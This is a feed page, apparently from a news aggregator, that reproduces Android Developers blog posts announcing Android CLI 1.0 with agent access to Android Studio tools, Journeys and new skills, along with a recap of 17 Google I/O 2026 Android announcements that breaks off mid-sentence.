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  <p>At <b>Google I/O ‘26</b>, we shared the latest leaps forward in agentic development, and showcased some of the newest capabilities of <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a>—now stable at version 1.0 and ready for all Android developers to use. From new skills to enabling agent access to powerful Android Studio capabilities, we’re giving your agents the right tools to build alongside you.</p>

  <div>If you’re already using Android CLI and want to jump into using all the new features, just run <span><code>android update<code></code></code></span>. Otherwise, read further to learn more about how we’re making the agents you choose be better at building for Android.</div>

  <h3>Android development unlocked for Antigravity</h3>
  <p><a href="https://antigravity.google/">Google Antigravity</a> now includes an optional bundle of Android resources—including the Android CLI and skills—that you can install. You can either install the bundle during onboarding after installation, or later from the <b>Settings &gt; Customizations &gt; Build With Google Plugins</b> menu.</p><p>This provides Antigravity with all the powerful tools and knowledge of Android CLI, enabling it to perform the core tasks necessary for Android app development more easily and efficiently—from creating projects to deploying your app on a new Android virtual device.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivI2fhgZRJRpz8TXcX4OC2CALzgOfHhKyVmVG0IaMsibqaAUVbZORx-5fbVrYUKlp0Fl1qk1wZ02jbrYSfFGRCtOvnOzWWYdw8G3or9ul_QY2yvT6Wm-kEIjAJtfj75kNWlSswAqoUCLvSefnFY3JMw7NQOA8hkDn3nc232oyEK1VN5ZM_UHbAEJWolWE/s16000/agy-android-cli%20(1).png"></div><i><div><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></div></i><h3>Unlocking Android Studio capabilities for any agent</h3><p>Android CLI provides a lightweight interface for AI Agents to perform tasks and retrieve knowledge about Android development. However, there's benefits to specialization — Android Studio contains over a decade of Android expertise, built to handle even the most complex Android projects. This includes Android Studio's powerful static analysis engine, refactoring tools, dependency management, UI design and rendering libraries, and more. AI Agents can now tap into Android Studio's tools to gain many of these same capabilities.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRp6RfqiD9adFdIQS9Fm_a3p_5X6K5Fjo5rEQhOeOqFpvjlQ-04DHav5atkLF7IZvnpdMaQqG_oBAhmcvCPRtAvsW7AH0Q3VF18y-TBUITLXBglNbR2o99sC-hJgj_D-OhF51rLO_OYi1RXdm6GBfgZqfsTdQa1CY6_g10D2LwLun3S1CjfqOY2pqp02Y/s16000/agy-android-studio%20(1).png"></div><div><i>Your agents can now use Android CLI to access powerful capabilities of Android Studio.</i></div><p>The latest version of Android CLI introduces the new <code>android studio</code> command. This enables the agent of your choice to leverage the deep, contextual capabilities of Android Studio to better understand and perform actions on an open Android project. By running Android Studio alongside your preferred agent with Android CLI, your agent’s tasks can more efficiently navigate the codebase to produce more precise code changes. And, when you use Android CLI to create and iterate on your project, transitioning to Android Studio is much easier, so that you can use the purpose built tools—such as, performance profilers, Compose Previews, and Android Device Streaming—to get that production-grade polish.</p>

  <p>When you have a project open in the latest <a href="https://developer.android.com/studio/preview">preview version</a> of Android Studio Quail, you (or your agent) can run the following command to check whether Android CLI has a connection established with your open project:</p>

<pre><span><p dir="ltr"><span>$ android studio check</span></p><p dir="ltr"><span>pid: </span><span>32942</span></p><p dir="ltr"><span>version: </span><span>Android Studio</span></p><p dir="ltr"><span>Projects:</span></p><span>    </span><span>READY</span><span>     JetSet /Users/adarshf/AndroidStudioProjects/jetset-main</span></span></pre>

  <p>From there, the agents can use the <code>android studio</code> command to access powerful IDE tools to interact with projects more efficiently. Key commands include:</p><p></p><ul><li><b>analyze-file:</b> Analyzes a file for errors and warnings using the editor's built-in inspections.</li><li><b>find-declaration:</b> Finds the exact definition site of a symbol (class, method, variable, field, constant, or Android resource/color) across the project using semantic resolution.</li><li><b>find-usages: </b>Finds all references and declarations of a symbol (class, method, variable, or Android resource) across the entire project using semantic analysis.</li><li><b>render-compose-preview: </b>Renders a Jetpack Compose UI Preview and returns a path to the image and UI hierarchy if successful.</li><li><b>version-lookup:</b> Get the latest information about which versions for specified app dependencies are available in common repositories, such as the Google Maven repository. By providing a programmatic solution, dependency management is less tedious and much less prone to flakiness.</li><li><b>open-file: </b>Opens a file directly in Android Studio. This is useful if the agent wants to direct your attention to view Compose Previews, performance traces, or other specific files in the IDE.</li></ul><p></p><ul>
  </ul>

  <p>For example, agents can now run the following commands to render a Compose preview for a new layout for your Android app, and then open the previews in Android Studio for you to take advantage of seeing multiple Compose Previews side by side and make AI-assisted edits right from the IDE.</p>

<pre><span><p dir="ltr"><span>$ android studio </span><span>find-declaration</span><span> HotelDetailScreen</span></p><p dir="ltr"><span>$ android studio </span><span>analyze-file</span><span> .../JetPacker/feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></p><span>$ android studio </span><span>open-file</span><span> feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></span></pre>

  <p>To learn more about how to use these commands, run <code>android help</code>. And, to make sure your agents understand how to work with this tool, make sure to update the Android CLI skill by running <code>android init</code>.</p>

  <h3>More ways to get started</h3>
  <p>To make integrating Android CLI into your environments as seamless as possible, we’re making it available in more ways. You can now download and install Android CLI using more package managers: apt-get, winget, and homebrew. For example, you can run the following to install Android CLI using winget:</p>

  <pre>winget install -e --id Google.AndroidCLI</pre>

  <p>We’ve also updated the installation to a user-local directory, by default. You can find the commands for all supported operating systems plus additional download options on the <a href="https://developer.android.com/tools/agents/android-cli/archive">Android CLI page</a>.</p>

  <h3>Support for Journeys</h3>
  <div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip7lO5BVjTIeJXDWyrGOdl4KpPTo8_oEcf0qLFUBRfPgOazlG7C9eLWDLdnNYb68-rlon4uOE4qo62WC_U7SaAOYwLG3Vbr0v_lRsh-iNoPzVMmFbAgKXXN1hz9Qj7rMImyybqHCU34ryMlml2fCquAyfNgp1yWiZu-CsP1Jowx4o0z69_wkNtYR0GQIM/s16000/android-cli-write-journey.png"></div><div><i>Journeys are natural language descriptions of core user experiences.</i></div><div><span><span><br></span></span></div>We are also introducing support for <a href="https://developer.android.com/tools/agents/android-cli/journeys">Journeys</a>. With Journeys tools and skills included with Android CLI, any agent of your choice can now create and run Journeys—which are natural language descriptions of user journeys for your app that are saved directly to your project.</div><div> <div class="separator"><img border="0" data-original-height="576" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeAW4kjqfV1t_mAw_iYwgWSczw3q-h3VEOAuDAe12uBel0niX6M2KAoGrs6M2UHhT3t1GvBZs-c3w0R87W6HgCAzHQZOdFjixUHyYCZRzhOgB_RtOkVh0Ph8cDFki0sWI8i5CFNXxGxBHai0uh0RZw5E9kcJUvl8DJtPT3tnkaQm5r8UHuWMstopnTnnI/s16000/android-cli-journey-run.gif"></div><p><i>(sped up) An agent running a Journey it generated for an app.</i></p>Agents can run these journeys using the Android CLI to navigate your app exactly like a user would. This unlocks entirely new ways to test, validate, or collect data across the critical experiences of your app, all driven by natural language and executed by your agent.
  
  <h3>Expanding Android skills</h3>
  <p>To help models better understand and execute specific patterns that follow our best practices, we are continuing to expand our <a href="https://github.com/android/skills">library of Android skills</a>. We’re shipping new skills that make Android development everywhere more capable, efficient, and productive:</p><p></p><ul><li><b>Display Glasses and Jetpack Compose Glimmer for XR: </b>Provides guidelines for developing projected applications for Android Display Glasses using the Jetpack Compose Glimmer UI toolkit.</li><li><b>Migration to CameraX:</b> Helps you migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</li><li><b>Perfetto SQL:</b> Translates natural language data prompts into Perfetto SQL queries and executes them against a local trace file.</li><li><b>Adaptive UI:</b> Instructions to make or update an app's UI so that it adapts to different Android devices</li><li><b>Testing setup: </b>Creates a basic testing strategy.</li><li><b>Styles:</b> Helps with adoption of the new Jetpack Compose Style API for new components, and supports migration to Styles API. </li><li><b>AppFunctions: </b>Analyzes Android codebases to recommend and implement new AppFunctions, and refines KDoc documentation for Model Context Protocol optimization.</li></ul><p></p><p>You can add these new skills to your workflow directly from the command line. To help your agents understand and use Android CLI right away, you can initialize your environment and install the base android-cli skill by running:</p>
<pre>android init
</pre>
  <p>From there, you can browse and set up your agent workflow by searching for the exact capabilities your agent needs:</p>
<pre>android skills list
</pre>
  <p>Once you've found the right skill, install it to your environment by running:</p>
<pre>android skills add –skill=&lt;skill-name&gt;
</pre>
  
  <h3>Get started today</h3>
  <p>To download the stable 1.0 release of the Android CLI, explore the new tools, and browse the complete documentation, head over to <a href="https://d.android.com/tools/agents">d.android.com/tools/agents</a> today!  Also, make sure you update to the <a href="https://developer.android.com/studio/preview">latest preview version of Android Studio</a> to unlock the latest features that Android CLI offers. We can't wait to see what you build with Android CLI 1.0 and how these new features supercharge your daily workflows. Join our vibrant community on <a href="https://www.linkedin.com/showcase/androiddev/posts/?feedView=all">LinkedIn</a>, <a href="https://medium.com/androiddevelopers">Medium</a>, <a href="https://www.youtube.com/c/AndroidDevelopers/videos">YouTube</a>, or <a href="https://twitter.com/androidstudio">X</a> and  share your feedback.</p><p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google.</a></p></div>]]></content:encoded>
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<title><![CDATA[17 Things to know for Android developers at Google I/O]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP, Product Management, Android DeveloperToday at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcemen...]]></description>
<link>https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:45 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP7OJeCTRC-RN9j39-rULmU26qB-lZoyIZjjDrq07Z7b5GsfHz3q18ftSgcWReGBgIBkp03B6BVghzWllOC38o4jckzzq-e4a8R23ISeegev98zubhGXbIzhTZaqbCTaPLJC2zkxKYvvNspcM4yXkk94f6PEQHpdyMvlpwogicTWQRn3GEksJHOTQDIG4/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><div class="separator"><div class="separator"><i>Posted by Matthew McCullough, VP, Product Management, Android Developer</i></div></div></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><div><br></div>Today at <a href="https://io.google/2026/">Google I/O,</a> we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also <a href="https://www.youtube.com/live/KvTRMSa1w4E?si=QBAxNvihPwJCJUuS">see what was announced last week</a> in <a href="https://developer.android.com/events/show">The Android Show: I/O Edition</a>. Stay tuned over the next two days as we dive into all of the topics in more detail!<h2><strong><span>Build High Quality Android Apps Using Agents</span></strong></h2>

  <h3><strong><span>1: Android CLI: helping you build with any agent, LLM, and tool</span></strong></h3>
  <a href="https://goo.gle/CLI_IO26">Android CLI is now stable</a>. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new <a href="https://developer.android.com/tools/agents/android-skills">Android skills</a>, which enables agents to execute end-to-end UI tests under your direction. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.    <p><span></span></p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXrW3yDK9uH_I8MDyVxgYbPAXfrNTJvlMkXhaZFrM1X9ob0LvQbGe_ZC6anUeO_VNd181iptI_MIuEEpX-9GZdf6ZTJCN-WHpPzDCLOeSblo8vrjliSZ0rRrHwIsERWBjbbosP-M_WvA2pva9mF5FWVygAwQbdiW3SLZgJj9TpRIruG4H-ILsvSq_b4dc/w640-h442/agy-android-cli%20(2).png"></div><div class="separator"><span><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></span></div><p></p>

  <h3><strong><span>2: Build production-ready apps with ease in Google AI Studio</span></strong></h3>
  Developers and creators can now <a href="http://android-developers.googleblog.com/2026/05/build-android-apps-google-ai-studio.html">build native Android apps, simply with a prompt in Google AI Studio</a>. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.<br><br><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdRaw1v6rolr4alo0C6AWKdFchsMEQgtOGfmk2Ramb0IoOB7smDcVU3yC7YJMkvVQuCPJ9vQW53tQjaV-5wcgOGzMtFDmb_Jbv40an1kvQdqYburXnsONvLqckKL2MWuShi3XmQEstW761oOLjujOk3FMsh3FyAiy5-Pe7xdTwFdfkWOmEnHhQfUJhtCo/w640-h544/image1.gif"></div><i><div class="separator"><i>Use the embedded Android Emulator to create Android apps in Google AI Studio</i></div></i></div><h2><strong><span>3: Accelerating AI coding assistance with Android Bench</span></strong></h2>
  <a href="http://d.android.com/bench">Android Bench</a> is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements. <h3><strong><span>4: Convert iOS apps to Android with the Migration Assistant in Android Studio</span></strong></h3>
  The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>. </div><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK7UKI_nzS7gOkDXYONAjCNbQ4eSqlgT8qqMT5D4qf0OjQUNtxj4Urpq-eTROMEDgrqLKGlwMm_lHA7ayG_BC1DkitQI1ZKsF5gYr-mPIxFUsz_8JPcVHFAtnHZoO2CrVjMEvJrqvBz8_WU1I0T1P2diDprR2B47PcA21oS3RLtbgrhmrpiWV-MAw9ks4/w640-h360/image9%20(1).gif"></div><div class="separator"><i>A sneak peek of the Migration Assistant converting an iOS app into a native Android app</i></div>

  <h2><strong><span>Building AI Into Your Apps</span></strong></h2>

  <h3><strong><span>5: Building Intelligent Apps with generative AI</span></strong></h3>
  Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new <a href="https://goo.gle/ADK_IO26">Agent Development Kit (ADK) for Android</a>, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the <a href="https://developer.android.com/ai">developer documentation</a>, and watch the technical deep dive session where we showcase all these technologies.

  <h3><strong><span>6: Experiment with AppFunctions today</span></strong></h3>
  AppFunctions is an <a href="https://developer.android.com/reference/android/app/appfunctions/package-summary">Android platform API</a> with an accompanying <a href="https://developer.android.com/jetpack/androidx/releases/appfunctions">Jetpack library</a> to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the <a href="http://goo.gle/eap-af">Early Access Program</a> and start experimenting using the <a href="http://d.android.com/ai/appfunctions">API guidance</a>, <a href="https://github.com/android/appfunctions">sample</a>, and <a href="https://github.com/android/skills/blob/main/device-ai/appfunctions/SKILL.md">skill</a> today.

  <h2><strong><span>The Future is Adaptive</span></strong></h2>

  <h3><strong><span>7: Android is now Compose First; Views are now in maintenance mode.</span></strong></h3>
  Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in <a href="http://android-developers.googleblog.com/2026/05/android-ui-development-is-compose-first.html">our blog post</a>. <br><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq9kh5gxOfSdY2w9ZeKdWropXpqP7rj4KtodIZA5B_j7ujQu-blrsQKKC0lI4VEsEycpLEwsZeJhHaNOY1Xe9DrIHDwVszYfQN0GQlwxz8xoVfg1oiIr9zNlUyqqdCl2M7pyHoHgVvC7omKRthmXNaO3GE5Q15XeZ1ALiugszd8qHxpWuHo2Eh79zYW4M/w640-h416/image5.png"></div><div><div><i>Build Android UI with Compose</i></div><h3><strong><span>8: Building seamless Android experiences across devices with Jetpack Compose</span></strong></h3><div>The Android ecosystem is now <a href="https://goo.gle/AdaptiveApps_IO26">Adaptive by Default</a>, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with <a href="https://developer.android.com/googlebook">Googlebook</a> and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. <a href="https://developer.android.com/compose">Jetpack Compose</a> is the definitive engine for this transition, offering core tools like our latest <a href="http://goo.gle/nav3">Jetpack Navigation 3</a> release, new experimental <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid">Grid</a> and <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox">FlexBox</a> layouts, enhanced non-touch input support, and <a href="https://developer.android.com/media/camera/camerax">CameraX</a> for correct camera previews across any window size. Furthermore, new <a href="https://developer.android.com/tools/agents/android-skills">skills</a> in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever.

  <img src="https://blogger.googleusercontent.com/img/a/AVvXsEi3DD3G6IUrmOwYh7bMq0uieBvGL8li2W48YnUfQfa3ZXy2kD7QvPorNfAyCSmFlBs4q0csXDqmZjhyGf8UHFE2pUNjvqxLaaJhmm6QpSBumq2YkMHI1jyiTNfh5WQhEEY9hP6vWhcbbwflygdTwYzoIdnuIqoht0S6iGKk4pVCnxL2wVXYBMBlcdeneD8"><i>Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.</i></div><h3><strong><span>9: Create seamless experiences for Googlebook</span></strong></h3>
  Last week we announced <a href="https://developer.android.com/googlebook">Googlebook</a>, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant <a href="https://developer.android.com/design/ui/desktop">design guidance</a> and <a href="https://developer.android.com/docs/quality-guidelines/adaptive-app-quality/experiences/desktop">developer guidelines</a> for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtH3cjiXICi8dNCtQTDV9PTyjt4wPQBl1xA9XGKGU6FmqLRuBm9YyH7HNQsydD6H6F2GIPw2TdUsFyeu2xMFUO2Jk36k5QXjuWNdm_VE8AQftq2w2m0RPFyYfyZjTppSOjzuOEpJMzF08t9V0YZr-xI7mu31uvcRItugwvVxPUBouSmOXt1MsqbB1WPC0/w640-h360/image3.png"></div><div><div><i>New Desktop Android Emulator</i></div><h3><strong><span>10: Unified widget development experience with Jetpack Glance</span></strong></h3>
  Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow. <br><br>The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.</div><div><br></div><div><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA5s4g4hCW89qdeC2oqrTtxh6q7t9q3-wkOSt3tfVzCT3vhLUd1GMYJrhCjK04O2jyxBGl0R2pclnRq3Kb0f0Td-hV9aukKvZQTfGpGJS6GLK0MqUkpVW_0qiNC1eMGe6NPPhlCHrnQWFYhmbdSzpDnUHh5tjvpmUzZOvY2w_dX1LBnpNctSRmeahXUl4/w640-h320/blog_widgets.gif"></div><div><i>Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.</i></div><div><i><br></i></div><div><strong><span>11: Expand your reach on the road with Android for Cars</span></strong><br>To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized <a href="https://developer.android.com/training/cars/apps/media">templated media apps</a> for both platforms. We're introducing new <a href="https://developer.android.com/design/ui/cars/guides/components/overview">components</a> and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; <a href="https://docs.google.com/forms/d/e/1FAIpQLSf0z4Nfw8wrloVhlgHDpLgdkg4WXsFj9ni5c1pw0qTvJ3Q4fQ/viewform">apply now to the early access program</a> to publish in these beta categories and learn more about the latest updates in our <a href="http://android-developers.googleblog.com/2026/05/android-for-cars-unifying-platforms-premium-experiences.html">blog</a>.<h3><strong><span>12: Accelerate your development with Android XR Developer Preview 4</span></strong></h3>Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with <a href="https://goo.gle/XRSDK_IO26">Developer Preview 4 of the Android XR SDK</a>. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the <a href="https://goo.gle/Catalyst_IO26">Android XR Developer Catalyst Program</a>, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or <a href="https://goo.gle/XRSDK_IO26">read our blog</a> to see how these updates help you build experiences across the ecosystem.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjbgGH7RwGkOkQLoXeLd88Vo7cXRjHLBSRokBWkzvYQUrqqbfrTXukM1u_SuGq0-AoXRPoGABpCOF-HMad4-aoNvXjTVyNXgGpbffTlSQMbTaXJva1c2GiUBx1fhC4fCCd0XO9XFzKNzs6edNqo0RAx-p2ZNXy0l-StJh7AxhyphenhyphenrXi-lqe-jXL0n8oprs/w640-h360/Aura%20Geospatial%20Tour%20Demo%20-%20Draft%2001%20(1).gif"></div><i><div><i>Early preview of the Geospatial API  in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.</i></div></i><h3><strong><span>13: Android is your new home for professional-grade media experiences</span></strong></h3>
  Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware. <br><br>The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXvjrWhhRUXdYJyhuu-Vnf0UP2jKcYhAvUggZJi10kndrixZdx4cD8HEhrWVmavlxAUT5N025Fx1kgOLJP5w83LDUSR3E9YzfIJUuZ3WBedFSBtI_oLgIcxSOYg-s53obwX_8HtYqfxSaz95LVzSiMAdrrwgL4T6TVETwtxxkZV2mSkkAfvYA681zNlc/w640-h542/supercharge%20(1).gif"></div><div class="separator"><i>Low Light Boost and Magic Eraser in action</i></div><h3><strong><span>14: Increase app discovery and engagement on Google TV</span></strong></h3>
  Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start <a href="https://developer.android.com/training/tv/get-started/hardware#no-touchscreen">declaring support for pointing input</a> to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our <a href="http://android-developers.googleblog.com/2026/05/increase-google-tv-app-discovery.html">blog</a>.</div><div><h3><strong><span>15: Performance: the foundation of a great app experience</span></strong></h3>To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The <a href="https://developer.android.com/r8-analyzer">R8 Configuration Analyzer</a> identifies keep rules that are bloating your binary, while <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/how-to-capture">ProfilingManager</a> and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new <a href="https://developer.android.com/android-performance-analyzer">Android Performance Analyzer</a> offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.     <h2><strong><span>And The Latest on Driving Business Growth </span></strong></h2>

  <h3><strong><span>16: What’s new in Google Play</span></strong></h3>Today's <a href="https://goo.gle/play-io26">updates from Google Play</a> help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console  to pre-populate store listings from imported documents—making global localization effortless. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOB1wGZNYGPgY0ED70X7Dtl2KiFk8kRH4fv3HrXXTWX0-xKkN4Em0mi8QAB0g2w_-4SNcTR4fJazpiQ7XI6-XKeyQniFhULKWNmV8YvyWMuQ9tosvT5ixZ0FOye27DI90R5Tra1eWX3FCX7OrWkgzhvhCD6vtfD8_6-FMfMWDvXoVv3zSTauZwraDGsM4/w640-h360/IO26_BlogInLine_App-discovery-in-Gemini_1920x1080_1605.gif"></div><div><i>Gemini will provide users with app suggestions during a search</i></div>

  <h3><strong><span>17: And of course, Android 17</span></strong></h3>
  Android 17 includes new performance &amp; system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new <a href="https://developer.android.com/about/versions/17/features/contact-picker">contact picker</a> and <a href="https://developer.android.com/reference/android/content/Intent#ACTION_OPEN_EYE_DROPPER">eyedropper API</a> help minimize the use of sensitive permissions and unnecessary access to user data. <br><br>Review <a href="https://developer.android.com/about/versions/17/behavior-changes-all">the behavior changes</a> to make sure your app is ready for Android 17, including <a href="https://developer.android.com/about/versions/17/behavior-changes-all#bg-audio">background audio hardening</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">SMS OTP protection</a>. Get ready to <a href="https://developer.android.com/about/versions/17/behavior-changes-17">target Android 17</a> (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and 